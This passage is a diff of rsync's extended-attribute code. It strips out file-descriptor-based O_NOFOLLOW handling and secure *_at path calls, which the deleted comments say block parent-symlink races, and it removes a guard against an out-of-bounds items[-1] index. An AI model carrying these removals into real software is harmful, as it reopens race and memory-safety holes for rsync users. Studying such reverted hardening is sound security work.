\t\t\tsxp->st.st_mtime = (time_t)-1;\n@@ -1092,11 +1032,10 @@ static int rsync_xal_set(const char *fname, item_list *xalp,\n \t\t\t\tbreak;\n \t\t}\n \t\tif (i == xalp->count) {\n-\t\t\tif ((fd >= 0 ? sys_fremovexattr(fd, name)\n-\t\t\t\t     : sys_lremovexattr(fname, name)) < 0) {\n+\t\t\tif (sys_lremovexattr(fname, name) < 0) {\n \t\t\t\trsyserr(FERROR_XFER, errno,\n-\t\t\t\t\t\"rsync_xal_set: %sremovexattr(%s,\\\"%s\\\") failed\",\n-\t\t\t\t\tfd >= 0 ? \"f\" : \"l\", full_fname(fname), name);\n+\t\t\t\t\t\"rsync_xal_set: lremovexattr(%s,\\\"%s\\\") failed\",\n+\t\t\t\t\tfull_fname(fname), name);\n \t\t\t\tret = -1;\n \t\t\t} else /* make sure caller sets mtime */\n \t\t\t\tsxp->st.st_mtime = (time_t)-1;\n@@ -1106,12 +1045,8 @@ static int rsync_xal_set(const char *fname, item_list *xalp,\n \treturn ret;\n }\n \n-/* Set extended attributes on indicated filename.  When fd >= 0 it is a held,\n- * O_NOFOLLOW-opened fd for fname (a regular file or directory) and the xattr\n- * ops go through it (fsetxattr/fremovexattr/flistxattr) so a parent-symlink\n- * race can't redirect them; fd < 0 keeps the path-based behavior (symlinks,\n- * special files, non-hardened receivers, platforms without the f-variants). */\n-int set_xattr(const char *fname, const struct file_struct *file, const char *fnamecmp, stat_x *sxp, int fd)\n+/* Set extended attributes on indicated filename. */\n+int set_xattr(const char *fname, const struct file_struct *file, const char *fnamecmp, stat_x *sxp)\n {\n \trsync_xa_list *glst = rsync_xal_l.items;\n \titem_list *lst;\n@@ -1145,71 +1080,47 @@ int set_xattr(const char *fname, const struct file_struct *file, const char *fna\n #endif\n \n \t/* If the target file lacks write permission, we try to add it\n-\t * temporarily so we can change the extended attributes.  With a held fd\n-\t * the perm change goes through fchmod() on the pinned inode rather than\n-\t * re-resolving the path. */\n+\t * temporarily so we can change the extended attributes. */\n \tif (!am_root\n #ifdef SUPPORT_LINKS\n \t && !S_ISLNK(sxp->st.st_mode)\n #endif\n \t && access(fname, W_OK) < 0\n-\t && (fd >= 0 ? fchmod(fd, (sxp->st.st_mode & CHMOD_BITS) | S_IWUSR)\n-\t\t     : do_chmod_at(fname, (sxp->st.st_mode & CHMOD_BITS) | S_IWUSR)) == 0)\n+\t && do_chmod(fname, (sxp->st.st_mode & CHMOD_BITS) | S_IWUSR) == 0)\n \t\tadded_write_perm = 1;\n \n \tndx = F_XATTR(file);\n-\tif (ndx < 0) {\n-\t\t/* No cached xattr list for this file (e.g. the cache_tmp_xattr()\n-\t\t * path on --backup); match the guards at the other F_XATTR()\n-\t\t * consumers rather than indexing rsync_xal_l.items[-1]. */\n-\t\tif (added_write_perm) {\n-\t\t\tif (fd >= 0)\n-\t\t\t\tfchmod(fd, sxp->st.st_mode);\n-\t\t\telse\n-\t\t\t\tdo_chmod_at(fname, sxp->st.st_mode);\n-\t\t}\n-\t\treturn 0;\n-\t}\n \tglst += ndx;\n \tlst = &glst->xa_items;\n-\tint return_value = rsync_xal_set(fname, lst, fnamecmp, sxp, fd);\n-\tif (added_write_perm) { /* remove the temporary write permission */\n-\t\tif (fd >= 0)\n-\t\t\tfchmod(fd, sxp->st.st_mode);\n-\t\telse\n-\t\t\tdo_chmod_at(fname, sxp->st.st_mode);\n-\t}\n+\tint return_value = rsync_xal_set(fname, lst, fnamecmp, sxp);\n+\tif (added_write_perm) /* remove the temporary write permission */\n+\t\tdo_chmod(fname, sxp->st.st_mode);\n \treturn return_value;\n }\n \n #ifdef SUPPORT_ACLS\n-char *get_xattr_acl(const char *fname, int fd, int is_access_acl, size_t *len_p)\n+char *get_xattr_acl(const char *fname, int is_access_acl, size_t *len_p)\n {\n \tconst char *name = is_access_acl ? XACC_ACL_ATTR : XDEF_ACL_ATTR;\n \t*len_p = 0; /* no extra data alloc needed from get_xattr_data() */\n-\treturn get_xattr_data(fname, fd, name, len_p, 1);\n+\treturn get_xattr_data(fname, name, len_p, 1);\n }\n \n-/* Store/delete a --fake-super ACL-as-xattr.  When fd >= 0 (a held O_NOFOLLOW fd\n- * from set_file_attrs) use the f-variant so a parent-symlink race can't redirect\n- * the write; otherwise fall back to the l-variant on the path. */\n-int set_xattr_acl(int fd, const char *fname, int is_access_acl, const char *buf, size_t buf_len)\n+int set_xattr_acl(const char *fname, int is_access_acl, const char *buf, size_t buf_len)\n {\n \tconst char *name = is_access_acl ? XACC_ACL_ATTR : XDEF_ACL_ATTR;\n-\tif ((fd >= 0 ? sys_fsetxattr(fd, name, buf, buf_len)\n-\t\t     : sys_lsetxattr(fname, name, buf, buf_len)) < 0) {\n+\tif (sys_lsetxattr(fname, name, buf, buf_len) < 0) {\n \t\trsyserr(FERROR_XFER, errno,\n-\t\t\t\"set_xattr_acl: %ssetxattr(%s,\\\"%s\\\") failed\",\n-\t\t\tfd >= 0 ? \"f\" : \"l\", full_fname(fname), name);\n+\t\t\t\"set_xattr_acl: lsetxattr(%s,\\\"%s\\\") failed\",\n+\t\t\tfull_fname(fname), name);\n \t\treturn -1;\n \t}\n \treturn 0;\n }\n \n-int del_def_xattr_acl(int fd, const char *fname)\n+int del_def_xattr_acl(const char *fname)\n {\n-\treturn fd >= 0 ? sys_fremovexattr(fd, XDEF_ACL_ATTR)\n-\t\t       : sys_lremovexattr(fname, XDEF_ACL_ATTR);\n+\treturn sys_lremovexattr(fname, XDEF_ACL_ATTR);\n }\n #endif\n \n@@ -1227,6 +1138,7 @@ int get_stat_xattr(const char *fname, int fd, STRUCT_STAT *fst, STRUCT_STAT *xst\n \telse\n \t\txst = fst;\n \tif (fname) {\n+\t\tfd = -1;\n \t\tlen = sys_lgetxattr(fname, XSTAT_ATTR, buf, sizeof buf - 1);\n \t} else {\n \t\tfname = \"fd\";\n@@ -1265,12 +1177,7 @@ int get_stat_xattr(const char *fname, int fd, STRUCT_STAT *fst, STRUCT_STAT *xst\n \treturn 0;\n }\n \n-/* Store the fake-super %stat metadata on fname.  When fd >= 0 it is a held,\n- * O_NOFOLLOW-opened fd for fname (regular file or directory): the re-stat, the\n- * permission reset and the xattr write/remove go through it so a parent-symlink\n- * race can't redirect them.  fd < 0 keeps the path-based behavior (symlinks,\n- * devices/specials, non-hardened receivers, platforms without the f-variants). */\n-int set_stat_xattr(const char *fname, struct file_struct *file, mode_t new_mode, int fd)\n+int set_stat_xattr(const char *fname, struct file_struct *file, mode_t new_mode)\n {\n \tSTRUCT_STAT fst, xst;\n \tdev_t rdev;\n@@ -1285,17 +1192,7 @@ int set_stat_xattr(const char *fname, struct file_struct *file, mode_t new_mode,\n \t\treturn -1;\n \t}\n \n-\tif (fd >= 0) {\n-\t\tif (do_fstat(fd, &fst) < 0) {\n-\t\t\trsyserr(FERROR_XFER, errno, \"failed to re-stat %s\",\n-\t\t\t\tfull_fname(fname));\n-\t\t\treturn -1;\n-\t\t}\n-\t\tif (get_stat_xattr(NULL, fd, &fst, &xst) < 0) {\n-\t\t\txst = fst; /* keep xst fully defined; st_mode=0 means \"no stat xattr\" */\n-\t\t\txst.st_mode = 0;\n-\t\t}\n-\t} else if (x_lstat(fname, &fst, &xst) < 0) {\n+\tif (x_lstat(fname, &fst, &xst) < 0) {\n \t\trsyserr(FERROR_XFER, errno, \"failed to re-stat %s\",\n \t\t\tfull_fname(fname));\n \t\treturn -1;\n@@ -1313,20 +1210,15 @@ int set_stat_xattr(const char *fname, struct file_struct *file, mode_t new_mode,\n \t/* Dump the special permissions and enable full owner access. */\n \tmode = (fst.st_mode & _S_IFMT) | (fmode & ACCESSPERMS)\n \t     | (S_ISDIR(fst.st_mode) ? 0700 : 0600);\n-\tif (fst.st_mode != mode) {\n-\t\tif (fd >= 0)\n-\t\t\tfchmod(fd, mode);\n-\t\telse\n-\t\t\tdo_chmod_at(fname, mode);\n-\t}\n+\tif (fst.st_mode != mode)\n+\t\tdo_chmod(fname, mode);\n \tif (!IS_DEVICE(fst.st_mode))\n \t\tfst.st_rdev = 0; /* just in case */\n \n \tif (mode == fmode && fst.st_rdev == rdev\n \t && fst.st_uid == F_OWNER(file) && fst.st_gid == F_GROUP(file)) {\n \t\t/* xst.st_mode will be 0 if there's no current stat xattr */\n-\t\tif (xst.st_mode && (fd >= 0 ? sys_fremovexattr(fd, XSTAT_ATTR)\n-\t\t\t\t\t    : sys_lremovexattr(fname, XSTAT_ATTR)) < 0) {\n+\t\tif (xst.st_mode && sys_lremovexattr(fname, XSTAT_ATTR) < 0) {\n \t\t\trsyserr(FERROR_XFER, errno,\n \t\t\t\t\"delete of stat xattr failed for %s\",\n \t\t\t\tfull_fname(fname));\n@@ -1342,8 +1234,7 @@ int set_stat_xattr(const char *fname, struct file_struct *file, mode_t new_mode,\n \t\t\tto_wire_mode(fmode),\n \t\t\t(int)major(rdev), (int)minor(rdev),\n \t\t\tF_OWNER(file), F_GROUP(file));\n-\t\tif ((fd >= 0 ? sys_fsetxattr(fd, XSTAT_ATTR, buf, len)\n-\t\t\t     : sys_lsetxattr(fname, XSTAT_ATTR, buf, len)) < 0) {\n+\t\tif (sys_lsetxattr(fname, XSTAT_ATTR, buf, len) < 0) {\n \t\t\tif (errno == EPERM && S_ISLNK(fst.st_mode))\n \t\t\t\treturn 0;\n \t\t\trsyserr(FERROR_XFER, errno,\n@@ -1358,12 +1249,7 @@ int set_stat_xattr(const char *fname, struct file_struct *file, mode_t new_mode,\n \n int x_stat(const char *fname, STRUCT_STAT *fst, STRUCT_STAT *xst)\n {\n-\t/* Use the *_at variants so that on a daemon-no-chroot deployment\n-\t * the metadata read goes through a secure parent dirfd instead\n-\t * of bare path resolution. The *_at wrappers fall through to\n-\t * plain do_stat outside the daemon-no-chroot context, so this\n-\t * change is transparent for non-daemon use. */\n-\tint ret = do_stat_at(fname, fst);\n+\tint ret = do_stat(fname, fst);\n \tif ((ret < 0 || get_stat_xattr(fname, -1, fst, xst) < 0) && xst)\n \t\txst->st_mode = 0;\n \treturn ret;\n@@ -1371,7 +1257,7 @@ int x_stat(const char *fname, STRUCT_STAT *fst, STRUCT_STAT *xst)\n \n int x_lstat(const char *fname, STRUCT_STAT *fst, STRUCT_STAT *xst)\n {\n-\tint ret = do_lstat_at(fname, fst);\n+\tint ret = do_lstat(fname, fst);\n \tif ((ret < 0 || get_stat_xattr(fname, -1, fst, xst) < 0) && xst)\n \t\txst->st_mode = 0;\n \treturn ret;\n","content_type":"text/plain","diff_type":"vcs","new_revision":"git-v1:ddbf14ec2b9f3dd54aa3c7197adffe879041c249"}